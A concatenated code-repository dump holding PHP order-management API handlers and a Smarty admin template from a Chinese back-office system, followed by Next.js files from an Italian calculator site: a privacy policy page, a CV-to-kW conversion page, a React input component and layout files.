$goodsEntityStatusID = AgentOrder::SUPPLYGOODSENTITY_STATUS_PICKUPED; $supplyRecordID = $agentOrder->getSupplyGoodsIDByGoodsEntityID($goodsEntityID, $goodsEntityStatusID); if ($supplyRecordID <= 0) { $returnData['reason'] = 'SupplyRecordID_Get_Failed'; exit(json_encode($returnData)); } } $supplyRecordDetail = $agentOrder->getSupplyRecordDetail($supplyRecordID); $result = $agentOrder->supplyGoodsEntityPack($supplyRecordID, $goodsID, $goodsEntityID); if ($result['status'] != 'success') { $returnData = $result; exit(json_encode($returnData)); } $supplyGoodsList = $agentOrder->getSupplyGoodsList($supplyRecordID); $supplyGoodsEntityStatusID = AgentOrder::SUPPLYGOODSENTITY_STATUS_PACKED; $statSupplyGoodsEntityList = $agentOrder->statSupplyGoodsEntityList($supplyRecordID, $supplyGoodsEntityStatusID); foreach ($statSupplyGoodsEntityList as $itemKey => $itemVal) { $supplyGoodsEntityList[$itemVal['GoodsID']] = $itemVal['totalGoodsEntity']; } foreach ($supplyGoodsList as $itemKey => $itemVal) { $supplyGoodsList[$itemKey]['TotalPack'] = $supplyGoodsEntityList[$itemVal['GoodsID']]; $supplyGoodsList[$itemKey]['SurplusPack'] = $itemVal['GoodsCount'] - (int)$supplyGoodsEntityList[$itemVal['GoodsID']]; } $returnData['data']['supplyGoodsList'] = $supplyGoodsList; $returnData['data']['SupplyRecordID'] = $supplyRecordID; $returnData['data']['CoreOrderID'] = $supplyRecordDetail['CoreOrderID']; $returnData['status'] = 'success'; exit(json_encode($returnData)); break; // 打包完毕 case 'packfinish': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = (int)$filter['SupplyRecordID']; $returnData = $agentOrder->supplyGoodsPack($supplyRecordID); exit(json_encode($returnData)); break; // 发货 case 'sendgoods': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = (int)$filter['SupplyRecordID']; $coreOrderID = (int)$filter['CoreOrderID']; $adminID = (int)$filter['AdminID']; $returnData = $agentOrder->supplyGoodsSend($coreOrderID, $supplyRecordID); exit(json_encode($returnData)); break; // 签收供货货品记录 case 'goodsentitysign': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = (int)$filter['SupplyRecordID']; $goodsEntityID = (int)$filter['GoodsEntityID']; $returnData = $agentOrder->supplyGoodsEntitySign($supplyRecordID, $goodsEntityID); exit(json_encode($returnData)); break; // 签收供货记录 case 'sign': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = (int)$filter['SupplyRecordID']; $coreOrderID = (int)$filter['CoreOrderID']; $returnData = $agentOrder->supplyRecordSign($coreOrderID, $supplyRecordID); exit(json_encode($returnData)); break; // 取消供货单 case 'cancle': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $supplyRecordID = (int)$filter['SupplyRecordID']; $coreOrderID = (int)$filter['CoreOrderID']; $returnData = $agentOrder->deleteSupplyRecord($coreOrderID, $supplyRecordID); exit(json_encode($returnData)); break; // 查询待收货、待发货总数 case 'stat': $returnData = array('status' => 'failed', 'reason' => '', 'data' => ''); $filter = $core->getFilter(); $agentID = (int)$filter['AgentID']; if ($agentID <= 0) { $returnData['reason'] = 'AgentID_Is_Null'; exit(json_encode($returnData)); } $agentOrder = $core->subCore->initAgentOrder(); $condition = array( 'HandlerTypeID' => AgentOrder::HANDLERTYPEID_AGENT, 'HandlerID' => $agentID, 'AgentPurchaseOrderStatusID' => AgentOrder::AGENTORDERSTATUS_REVIEW_SUCCESS ); $agentPurchaseOrderCount = (int)$agentOrder->getAgentPurchaseOrderCount($condition); $supplyRecordCount = (int)$agentOrder->getSupplyRecordCount( $coreOrderID = null, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $data['AgentPurchaseOrderCount'] = $agentPurchaseOrderCount; $condition = array( 'HandlerTypeID' => AgentOrder::HANDLERTYPEID_AGENT, 'HandlerID' => $agentID, 'AgentPurchaseOrderStatusID' => array( AgentOrder::AGENTORDERSTATUS_REVIEW_SUCCESS, AgentOrder::AGENTORDERSTATUS_DELIVERY ) ); $agentPurchaseOrderCount = $agentOrder->getAgentPurchaseOrderCount($condition); $pager = array('first' => 0, 'limit' => $agentPurchaseOrderCount); $agentPurchaseOrderList = $agentOrder->getAgentPurchaseOrderList($pager, $condition); foreach ($agentPurchaseOrderList as $itemKey => $itemVal) { $coreOrderIDList[] = $itemVal['CoreOrderID']; } $supplyRecordStatusID = AgentOrder::SUPPLYRECORD_STATUS_SENDGOODS; $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderIDList, $supplyRecordID = null, $supplyRecordStatusID, $startAddTime = null, $endAddTime = null); $data['SupplyRecordCount'] = $supplyRecordCount; $returnData['data'] = $data; exit(json_encode($returnData)); break; default: # code... break; } } ?><file_sep><?php /** * 用户订单操作类,该接口已废弃。 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 0000 该接口已废弃,请使用/api/member/generateorder.php */ /** * 为用户生成订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiGenerateorderformember(& $core) { switch($core->action) { default: $memberOrder = $core->subCore->initMemberOrder(); $returnData = MemberOrder::errorReturnData('0000','该接口已废弃,请使用接口:/api/member/generateorder.php 代替此接口。'); exit(json_encode($returnData)); break; } } ?><file_sep><?php /** * 查询订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGetrepairorderinfo(& $core) { switch ($core->action) { case 'getdetail': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderID = (int)$filter['MemberRepairOrderID']; if (!$memberOrderID) { return MemberOrder::errorReturnData('MemberRepairOrderID_IS_NULL','无法获取到用户返修订单编号'); } $memberOrderDetail = (array)$memberOrder->getMemberRepairOrderDetail($memberOrderID); // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 // $memberOrderGoodsDetail = (array)$memberOrder->getMemberRepairOrderGoodsDetail($memberOrderID); $data = array('memberRepairOrderDetail'=>$memberOrderDetail,'memberRepairOrderGoodsDetail'=>$memberOrderGoodsDetail); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; // 搜索信息 // $condition['MemberID'] = (int)$filter['MemberID'] ? (int)$filter['MemberID'] : null; // $condition['MemberOrderStatusID'] = $filter['MemberOrderStatusID']; // $condition['SourceTypeID'] = $filter['SourceTypeID']; $memberOrderCount = $memberOrder->getMemberRepairOrderCount($filter); $core->setUsePager($memberOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $memberOrderList = $memberOrder->getMemberRepairOrderList($pager, $filter, $sort); /* foreach ($memberOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['MemberOrderStatusID']; $memberOrderList[$orderKey]['MemberOrderStatusName'] = MemberOrder::getMemberOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $orderItem['PayTypeID']; $memberOrderList[$orderKey]['PayTypeName'] = MemberOrder::getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $memberIDList[] = $orderItem['MemberID']; if ($filter['getGoodsSN'] == 1) { $memberOrderList[$orderKey]['GoodsSN'] = $memberOrder->getMemberOrderGoodsSNString($orderItem['CoreOrderID']);// 订单商品编号。 } } $param['MemberID'] = array_unique($memberIDList); $param['action'] = 'getmemberinfotoorder'; $memberInfoSource = $core->getApiData('member','/api/member.php',$param,'post'); $memberInfoList = $memberInfoSource['data']; foreach ($memberOrderList as $orderKey => $orderItem) { $memberOrderList[$orderKey]['RealName'] = $memberInfoList[$orderItem['MemberID']]['RealName']; $memberOrderList[$orderKey]['Mobile'] = $memberInfoList[$orderItem['MemberID']]['Mobile']; } */ /* @todo 获得省市县和支付方式 */ $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberRepairOrderCount'=>$memberOrderCount, 'memberRepairOrderList'=>$memberOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?><file_sep><?php function pageAppMemberGetwlinfo($core) { switch ($core->action) { case 'gettotal': $filter = $core->getJsonEncrypt(); // $filter = $core->getFilter(); $coreOrderID = (int)$filter['CoreOrderID']; $memberOrder = $core->subCore->initMemberOrder(); if (!$coreOrderID) { $returnData = MemberOrder::errorReturnData('COREORDERID_IS_NULL','无法订单编号'); $core->echoJsonEncrypt($returnData); } $data = null; // $data['LogisticsInfo']['Source'] = '顺丰快递'; // $data['LogisticsInfo']['Image'] = 'http://bssapp.c-uk.cn/images/pay/alipay.png'; // $data['LogisticsInfo']['Status'] = '运输中'; // $data['LogisticsInfo']['Mobile'] = '010-8780329'; // $data['LogisticsInfo']['SerialNumber'] = '199006130950'; // $data['LogisticsDetail'] = // array( // array( // 'time'=>'2015-10-23 07:00:00', // 'info'=>'【山东省】快件已从山东省淄博市发出' // ), // array( // 'time'=>'2015-10-23 09:00:00', // 'info'=>'【山东省】快件已从到达济南分拣中心' // ), // array( // 'time'=>'2015-10-23 15:00:00', // 'info'=>'【北京市】快件已从济南分拣中心发往北京市房山区分拣中心' // ), // array( // 'time'=>'2015-10-23 19:00:00', // 'info'=>'【北京市】快件已到达北京市房山区分拣中心' // ), // array( // 'time'=>'2015-10-23 20:00:00', // 'info'=>'【北京市】快递已经签收' // ) // ); $returnData = MemberOrder::successReturnData($data); // exit(json_encode($returnData)); $core->echoJsonEncrypt($returnData); break; default: # code... break; } } ?><file_sep><?php /** * 查看落地配推送记录 确认推送 重推 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author wangyb <[<EMAIL>]> * @version v1.0 [2016-04-20] * @note */ /** * 落地配 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberChecksystemsendrecord(& $core) { switch ($core->action) { case 'check': $memberOrder = $core->subCore->initMemberOrder(); //获取未接受的推送订单信息 $unAcceptApiData = $core->getApiData( 'landing', '/api/landinglist.php?action=getUnAcceptCoreOrderID', $filter, 'post' ); if ($unAcceptApiData['status'] != 'success') { die('获取未接受的推送订单失败'); } if (count($unAcceptApiData['data']['coreOrderIDList']) <= 0) { die('没有未接受的推送订单'); } $unAcceptList = $unAcceptApiData['data']['coreOrderIDList']; //获取全部落地配名单 StoreID $apiData = $core->getApiData( 'landing', '/api/landinglist.php?action=getDeliveryStoreID', $filter, 'post' ); if ($apiData['status'] != 'success') { die('获取落地配名单失败'); } //获取门店详情 foreach ($apiData['data']['deliveryStoreIDList'] as $apiKey => $apiValue) { $storeIDList['StoreIDList'][] = $apiValue['StoreID']; } $storeDetail = $core->getApiData( 'store', '/api/store.php?action=getStoreDetailByStoreIDList', $storeIDList, 'post' ); if ($storeDetail['status'] != 'success') { die('获取落地配门店详情失败'); } //实施二次落地配 foreach ($unAcceptList as $key => $value) { $memberOrderDetail = $memberOrder->getMemberOrderDetail(null, null, $value['CoreOrderID']); $memberOrderProvinceID = $memberOrderDetail['ProvinceID']; $payAmount = $memberOrderDetail['PayAmount']; foreach ($storeDetail['data'] as $storeKey => $storeValue) { $storeProvinceList[$storeValue['StoreID']] = $storeValue['ProvinceID']; } unset($storeProvinceList[$value['StoreID']]); if (in_array($memberOrderProvinceID, $storeProvinceList)) { $landingStoreID = array_search($memberOrderProvinceID, $storeProvinceList); $update = $memberOrder->updateLandingStoreIDByCoreOrderID($memberOrderID, $landingStoreID); $landingOrder['CoreOrderID'] = $value['CoreOrderID']; $landingOrder['StoreID'] = $landingStoreID; $landingOrder['SystemSendTotalAmount'] = $payAmount; $landingOrderApi = $core->getApiData( 'landing', '/api/landingorder.php?action=addSystemSendRecordAndSystemSendDetail', $landingOrder, 'post' ); if($landingOrderApi['status'] != 'success') { die('落地配推送记录添加失败'); } } else { die('没有其余门店'); } } break; default: break; } } ?><file_sep><?php /** * 查询用户因为下单使用的积分情况 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-14 17:43:50] */ /** * 查询用户因为下单使用的积分情况 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGetscoreinfo(& $core) { switch ($core->action) { case 'value': # code... break; default: // 根据订单号获得该笔订单的 金额、实付金额、使用积分。 $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberOrderIDList = $filter['MemberOrderIDList']; $scoreInfo = $memberOrder->getMemberOrderScoreInfo($memberOrderIDList); if ($scoreInfo == false) { $returnData = MemberOrder::errorReturnData('MEMBERORDERID_NEED_ARRAY','用户订单列表需是数组'); } else { $returnData = MemberOrder::successReturnData(array('MemberOrderScoreInfo'=>$scoreInfo)); } MemberOrder::exitJsonData($returnData); break; } } ?><file_sep><?php /** * admin * @package admin * @access public * @author Terry * @version v1.0 2013-03-20 */ /** * admin * @package admin * @access public * @author Terry * @version v1.0 2013-03-20 */ class SubCore { public function __construct(&$core) { $this->core =& $core; } public function &initParameter() { require_once($this->core->servicePath . '/models/Parameter.class.php'); $parameter = new Parameter(); return $parameter; } public function &initCoreOrder() { $db = $this->core->initDB(); require_once($this->core->servicePath . '/models/CoreOrder.class.php'); $coreOrder = new CoreOrder($db); return $coreOrder; } public function &initMemberOrder() { $db = $this->core->initDB(); require_once($this->core->servicePath . '/models/MemberOrder.class.php'); $memberOrder = new MemberOrder($db); return $memberOrder; } public function &initAgentOrder() { $db = $this->core->initDB(); require_once($this->core->servicePath . '/models/AgentOrder.class.php'); $agentOrder = new AgentOrder($db); return $agentOrder; } public function &initSpecialOrder() { $db = $this->core->initDB(); require_once($this->core->servicePath . '/models/SpecialOrder.class.php'); $memberOrder = new SpecialOrder($db); return $memberOrder; } } ?> <file_sep><?php /* Smarty version Smarty-3.0.6, created on 2016-03-04 01:59:37 compiled from "service/order/views/template/exchangelist.tpl" */ ?> <?php /*%%SmartyHeaderCode:24419286556d87b89d0a090-84814684%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed'); $_smarty_tpl->decodeProperties(array ( 'file_dependency' => array ( 'a54e052257d5db79b9bde981269a65f6e7c3044c' => array ( 0 => 'service/order/views/template/exchangelist.tpl', 1 => 1456958187, 2 => 'file', ), ), 'nocache_hash' => '24419286556d87b89d0a090-84814684', 'function' => array ( ), 'has_nocache_code' => false, )); /*/%%SmartyHeaderCode%%*/?> <!doctype html> <html lang="zh-cn"> <head> <meta http-equiv = "X-UA-Compatible" content = "IE=Edge"> <meta charset="utf-8"> <title>核心订单管理系统</title> <link rel="stylesheet" type="text/css" href="/style/css/reset.css"> <link rel="stylesheet" type="text/css" href="/style/css/main.css"> <link rel="stylesheet" type="text/css" href="/style/css/jquery-ui-1.10.3.custom.min.css"> <!--[if lt IE 7 ]> <link rel="stylesheet" type="text/css" href="css/ie6.css"> <script src="js/png.js"></script> <script> PNG.fix('.datepicker'); </script> <![endif]--> </head> <body class="Order"> <h1 class="title"> 用户换货订单列表 <span id="sysControl" class="sys-control"><a href="javascript:;"></a></span> <!--系统伸缩列表start--> <div id="sysBox" class="sys-box"> <ul class="clearfix"> <li> <a href="agent.php" target="_blank"> <img src="/images/sys-icon/icon_01.png">代理商管理 </a> </li> <li> <a href="campaign.php" target="_blank"> <img src="/images/sys-icon/icon_02.png">营销活动管理 </a> </li> <li> <a href="system.php" target="_blank"> <img src="/images/sys-icon/icon_03.png">系统设置 </a> </li> <li> <a href="product.php" target="_blank"> <img src="/images/sys-icon/icon_04.png">产品管理 </a> </li> <li> <a href="customer.php" target="_blank"> <img src="/images/sys-icon/icon_05.png">客户服务管理 </a> </li> <li> <a href="financial.php" target="_blank"> <img src="/images/sys-icon/icon_06.png">财务管理 </a> </li> <li> <a href="store.php" target="_blank"> <img src="/images/sys-icon/icon_07.png">门店管理 </a> </li> <li> <a href="tv.php" target="_blank"> <img src="/images/sys-icon/icon_08.png">电视媒体运营管理 </a> </li> <li> <a href="order.php" target="_blank"> <img src="/images/sys-icon/icon_09.png">核心订单管理 </a> </li> <li> <a href="user.php" target="_blank"> <img src="/images/sys-icon/icon_10.png">用户管理 </a> </li> <li> <a href="logistics.php" target="_blank"> <img src="/images/sys-icon/icon_11.png">物流仓储管理 </a> </li> <li> <a href="official.php" target="_blank"> <img src="/images/sys-icon/icon_12.png">官方网络营销管理 </a> </li> <li> <a href="production.php" target="_blank"> <img src="/images/sys-icon/icon_13.png">生产管理 </a> </li> <li> <a href="security.php" target="_blank"> <img src="/images/sys-icon/icon_14.png">防伪追溯管理 </a> </li> <li> <a href="thirdparty.php" target="_blank"> <img src="/images/sys-icon/icon_15.png">第三方营销管理 </a> </li> <div class="up-btn" id="sysHide"></div> </ul> </div> <!--系统伸缩列表 end--> </h1> <form name="" action=""> <table class="serch-list"> <tr> <td> <input class="input-text" type="text" placeholder="换货单号"> <input class="input-text" type="text" placeholder="原单号"> <input class="input-text" type="text" placeholder="用户姓名"> <input class="input-text" type="text" placeholder="手机号"> <select name="select" class="select-box"> <option value="-订单状态-" selected>-订单状态-</option> <option value="待退货">待退货</option> <option value="待收货">待收货</option> <option value="待确认">待确认</option> <option value="待退款">待退款</option> <option value="退款成功">退款成功</option> <option value="全部">全部</option> </select> <input class="input-text" type="text" placeholder="退货物流号"> <input class="input-text" type="text" placeholder="发货物流号"> <a class="serch-btn" href="javascript:;">查询</a> </td> </tr> </table> </form> <h2 class="re-caption"> <span class="list-name">用户换货订单列表</span> </h2> <table id="resultList" class="result-list"> <thead> <tr> <th>换货单号</th> <th>原单号</th> <th>用户名</th> <th>手机号</th> <th>换货原因</th> <th>退货物流</th> <th>发货物流</th> <th>状态</th> <th>操作</th> </tr> </thead> <tbody> <tr class="list"> <td>123123123</td> <td>123123123</td> <td>王二小</td> <td>11122223333</td> <td>七天无理由</td> <td>顺丰</td> <td>顺丰</td> <td>待退货</td> <td><a href="JavaScript:;">查看</a></td> </tr> </tbody> <tfoot> <tr class="page-list"> <td colspan="9"> <p> <span class="first-page"><a href="#">首页</a></span> <span class="prev-page"><a href="#">上一页</a></span> <a class="page on" href="#">1</a> <a class="page" href="#">2</a> <a class="page" href="#">3</a> <a class="page" href="#">4</a> <a class="page" href="#">5</a> <span class="next-page"><a href="#">下一页</a></span> <span class="end-page"><a href="#">尾页</a></span> </p> </td> </tr> </tfoot> </table> <script src="/style/js/jq.js"></script> <script src="/style/js/main.js"></script> <script src="/style/js/jquery-ui-1.10.3.custom.min.js"></script> <script src="/style/js/date.js"></script> </body> </html>
1f9aa5f904ff63d80026a3ac0c167f159b5fccb0
[ "Markdown", "PHP" ]
41
PHP
chuanjinge/bss-service-order
d4b03c4b6e72da4311b9e6613e5ec68d4e4445d6
02d2f3d5b086412483216818af0c1fd686fd3bc8
refs/heads/main
<file_sep>import DefaultLayout from "../components/layouts/default-layout"; import Link from "next/link"; const TITLE = "Privacy Policy"; export default function PageNotFound() { return ( <> <DefaultLayout title={TITLE}> <div className="container"> <h2 id="-privacy-policy-"> <strong>Privacy Policy</strong> </h2> <p> <strong> Informativa ai sensi dell&#39;art. 13 del Codice della Privacy </strong> </p> <p> <strong> Ai sensi dell&#39;articolo 13 del codice della D.Lgs. 196/2003, vi rendiamo le seguenti informazioni. </strong> </p> <p> Noi di <strong>calcolafacile.it</strong> riteniamo che la privacy dei nostri visitatori sia estremamente importante. Questo documento descrive dettagliatamente i tipi di informazioni personali raccolti e registrati dal nostro sito e come essi vengano utilizzati. </p> <h3 id="-file-di-registrazione-log-files-"> <strong>File di Registrazione (Log Files)</strong> </h3> <p> Come molti altri siti web, il nostro utilizza file di log. Questi file registrano semplicemente i visitatori del sito - di solito una procedura standard delle aziende di hosting e dei servizi di analisi degli hosting. </p> <p> Le informazioni contenute nei file di registro comprendono indirizzi di protocollo Internet (IP), il tipo di browser, Internet Service Provider (ISP), informazioni come data e ora, pagine referral, pagine d&#39;uscita ed entrata o il numero di clic. </p> <p> Queste informazioni vengono utilizzate per analizzare le tendenze, amministrare il sito, monitorare il movimento degli utenti sul sito e raccogliere informazioni demografiche. Gli indirizzi IP e le altre informazioni non sono collegate a informazioni personali che possono essere identificate, dunque{" "} <strong> tutti i dati sono raccolti in forma assolutamente anonima </strong> . </p> <h3 id="-questo-sito-web-utilizza-i-cookies-"> <strong>Questo sito web utilizza i Cookies</strong> </h3> <p> I cookies sono piccoli file di testo che vengono automaticamente posizionati sul PC del navigatore all&#39;interno del browser. Essi contengono informazioni di base sulla navigazione in Internet e grazie al browser vengono riconosciuti ogni volta che l&#39;utente visita il sito. </p> <h3 id="-cookie-policy-"> <strong>Cookie Policy</strong> </h3> <div id="cookie-policy-container"> <script id="CookieDeclaration" src="https://consent.cookiebot.com/142c4d99-ee30-4f35-a81e-7fafca5e7998/cd.js" type="text/javascript" async ></script> </div> <br /> <h3 id="-norme-sulla-privacy-di-terze-parti-"> <strong>Norme sulla privacy di terze parti</strong> </h3> <p> È necessario consultare le rispettive norme sulla privacy di questi server di terze parti per ulteriori informazioni sulle loro pratiche e per istruzioni su come disattivare alcune pratiche. </p> <p> La nostra politica sulla privacy non si applica ai fornitori di terze parti ed ai partner pubblicitari, e non possiamo controllare le attività di tali altri inserzionisti o siti web. </p> <p> Se desideri disattivare i cookie, puoi farlo attraverso le tue singole opzioni del browser. Ulteriori informazioni sulla gestione dei cookie con browser web specifico possono essere trovati nei rispettivi siti web dei browser </p> <h3 id="-finalit-del-trattamento-"> <strong>Finalità del trattamento</strong> </h3> <p> I dati possono essere raccolti per una o più delle seguenti finalità: </p> <ul> <li> <p> fornire l&#39;accesso ad aree riservate del Portale e di Portali/siti collegati con il presente e all&#39;invio di comunicazioni anche di carattere commerciale, notizie, aggiornamenti sulle iniziative di questo sito e delle società da essa controllate e/o collegate e/o Sponsor. </p> </li> <li> <p> eventuale cessione a terzi dei suddetti dati, sempre finalizzata alla realizzazione di campagne di email marketing ed all&#39;invio di comunicazioni di carattere commerciale. </p> </li> <li> <p>eseguire gli obblighi previsti da leggi o regolamenti;</p> </li> <li> <p>gestione contatti;</p> </li> </ul> <h3 id="-modalit-del-trattamento-"> <strong>Modalità del trattamento</strong> </h3> <p>I dati verranno trattati con le seguenti modalità:</p> <ul> <li> <p> raccolta dati con modalità single-opt, in apposito database; </p> </li> <li> <p> registrazione ed elaborazione su supporto cartaceo e/o magnetico; </p> </li> <li> <p> organizzazione degli archivi in forma prevalentemente automatizzata, ai sensi del Disciplinare Tecnico in materia di misure minime di sicurezza, Allegato B del Codice della Privacy. </p> </li> </ul> <h3 id="-natura-obbligatoria-"> <strong>Natura obbligatoria</strong> </h3> <p>Tutti i dati richiesti sono obbligatori.</p> <h3 id="-diritti-dell-interessato-"> <strong>Diritti dell&#39;interessato</strong> </h3> <p> Ai sensi ai sensi dell&#39;art. 7 (Diritto di accesso ai dati personali ed altri diritti) del Codice della Privacy, vi segnaliamo che i vostri diritti in ordine al trattamento dei dati sono: </p> <ul> <li> <p> conoscere, mediante accesso gratuito l&#39;esistenza di trattamenti di dati che possano riguardarvi; </p> </li> <li> <p> essere informati sulla natura e sulle finalità del trattamento </p> </li> <li> <p>ottenere a cura del titolare, senza ritardo:</p> <ul> <li> <p> la conferma dell&#39;esistenza o meno di dati personali che vi riguardano, anche se non ancora registrati, e la comunicazione in forma intellegibile dei medesimi dati e della loro origine, nonché della logica e delle finalità su cui si basa il trattamento; la richiesta può essere rinnovata, salva l&#39;esistenza di giustificati motivi, con intervallo non minore di novanta giorni; </p> </li> <li> <p> la cancellazione, la trasformazione in forma anonima o il blocco dei dati trattati in violazione di legge, compresi quelli di cui non è necessaria la conservazione in relazione agli scopi per i quali i dati sono stati raccolti o successivamente trattati; </p> </li> <li> <p> l&#39;aggiornamento, la rettifica ovvero, qualora vi abbia interesse, l&#39;integrazione dei dati esistenti; </p> </li> <li> <p> opporvi in tutto o in parte per motivi legittimi al trattamento dei dati personali che vi riguardano ancorché pertinenti allo scopo della raccolta; </p> </li> </ul> </li> </ul> <p> Vi segnaliamo che il titolare del trattamento ad ogni effetto di legge è: </p> <ul> <li> <p><NAME></p> </li> <li> <p>Via caduti sul lavoro, 7</p> </li> <li> <p>09016 - Iglesias (SU)</p> </li> </ul> <p> Per esercitare i diritti previsti all&#39;art. 7 del Codice della Privacy ovvero per la cancellazione dei vostri dati dall&#39;archivio, è sufficiente contattarci attraverso la{" "} <Link href="/contatti"> <a href="">pagina di contatto</a> </Link>{" "} . </p> <p> Tutti i dati sono protetti attraverso l&#39;uso di antivirus, firewall e protezione attraverso password. </p> <h3 id="-informazioni-per-i-bambini-"> <strong>Informazioni per i bambini</strong> </h3> <p> Riteniamo importante assicurare una protezione aggiunta ai bambini online. Noi incoraggiamo i genitori e i tutori a trascorrere del tempo online con i loro figli per osservare, partecipare e/o monitorare e guidare la loro attività online. Noi non raccogliamo dati personali di minori. Se un genitore o un tutore crede che il nostro sito abbia nel suo database le informazioni personali di un bambino, vi preghiamo di contattarci immediatamente (utilizzando la mail fornita) e faremo di tutto per rimuovere tali informazioni il più presto possibile. </p> <p> Questa politica sulla privacy si applica solo alle nostre attività online ed è valida per i visitatori del nostro sito web e per quanto riguarda le informazioni condivise e/o raccolte. Questa politica non si applica a qualsiasi informazione raccolta in modalità offline o tramite canali diversi da questo sito web. </p> <h3 id="-consenso-"> <strong>Consenso</strong> </h3> <p> Usando il nostro sito web, acconsenti alla nostra politica sulla privacy e accetti i suoi termini. Se desideri ulteriori informazioni o hai domande sulla nostra politica sulla privacy non esitare a contattarci. </p> <br /> </div> </DefaultLayout> </> ); } <file_sep>--- title: Convertitore Cavalli (CV) ⇄ KiloWatt (kW) meta_desc: Converti online i kW in CV e viceversa. Scopri come convertire kilowatt e cavalli di auto e moto. --- Converti i CV in kW e viceversa. Modificando uno dei due valori, l'altro cambierà in tempo reale. <ConvertitoreCVKW pageTitle={title} /> ### A quanti kW equivale un CV? Un cavallo a vapore (CV o HP) equivale a circa **0,735 kilowatt (kW)**. ### A quanti CV equivale un kW? Un kilowatt (kW) equivale a circa **1,36 cavalli a vapore (CV)**. ### Come convertire i CV in kW? Per convertire i CV in kW bisogna **dividere il numero dei CV per 1,36**. Ad esempio, una macchina con una potenza di 100 CV avrà una potenza convertita di circa 73 kW. ### Come convertire i kW in CV? Per convertire i kW in CV bisogna **moltiplicare il numero dei kW per 1,36**. In questo caso un'automobile con una potenza di 85 kW avrà equivalentemente circa 115 CV. ### Perché convertire i kW in CV e viceversa? La conversione è utile ad esempio per calcolare il costo del **passaggio di proprietà** di un'auto oppure per il [calcolo del bollo auto](/calcoli/calcolo-bollo-auto). <file_sep>import React from "react"; import InputLayout from "./InputLayout"; const _ = require("lodash"); import { useState } from "react"; const Input = ({ //Form attributes value, error, onChange, onBlur, onFocus, //Optional attributes labelText, size = "fluid", type = "text", numMin, numMax = 999999, //Symbol symbol, symbolValue, symbolOnChange, }) => { const [id] = useState(_.uniqueId("input_")); return ( <> <InputLayout labelText={labelText} error={error} id={id}> <input className={error ? "error-input" : "undefined"} value={value} onChange={onChange} type={type} name="calcField" id={id} aria-label="Campo Valore" min={numMin} max={type === "number" ? numMax : undefined} onBlur={onBlur} onFocus={onFocus} ></input> {symbol && ( <span className="symbol"> {symbolComponent(symbol, symbolValue, symbolOnChange)} </span> )} </InputLayout> <style jsx> {` input { border-radius: ${symbol ? "5px 0 0 5px" : "5px"}; width: ${renderSwitch(size)}; } .symbol { display: flex; align-items: center; border: 1px solid #999; border-left: none; border-radius: 0 5px 5px 0; background-color: lightgray; width: 100%; max-width: fit-content; } .input-wrapper { grid-template-columns: ${symbol ? "auto max-content" : "auto"}; } `} </style> </> ); }; const symbolComponent = (symbol, symbolValue, symbolOnChange) => { if (Array.isArray(symbol)) { symbol = ( <select value={symbolValue} onChange={symbolOnChange} className="symbol-select symbol-inside" > {symbol.map((opt, i) => ( <option value={opt} key={`select-symbol-${i}`}> {opt} </option> ))} </select> ); } else { symbol = <div className="symbol-inside">{symbol}</div>; } return symbol; }; const renderSwitch = (size) => { const sizes = { s: "100px", m: "125px", l: "200px", fluid: "100%", }; return sizes[size]; }; export default Input; <file_sep>import DefaultLayout from "../../components/layouts/default-layout"; import Sidebar from "../modules/sidebar"; export default function CalcPageTemplate({ title, meta_desc, slug, children }) { return ( <> <DefaultLayout title={title} meta_desc={meta_desc} slug={slug}> <main className="my-1 py-1 container"> <h1 className="page-title">{title}</h1> {children} </main> {/* <Sidebar /> */} <style jsx>{` main { flex-grow: 1; width: 100%; } `}</style> </DefaultLayout> </> ); } <file_sep>import Head from 'next/head'; import isHome from '../../utils/isHome'; import { useRouter } from 'next/router'; const siteName = 'calcolafacile.it', siteMotto = 'Tutti i tuoi calcoli a portata di mano', gTagManagerHead = ( <> {/* <!-- Google Tag Manager --> */} <script dangerouslySetInnerHTML={{ __html: `(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new 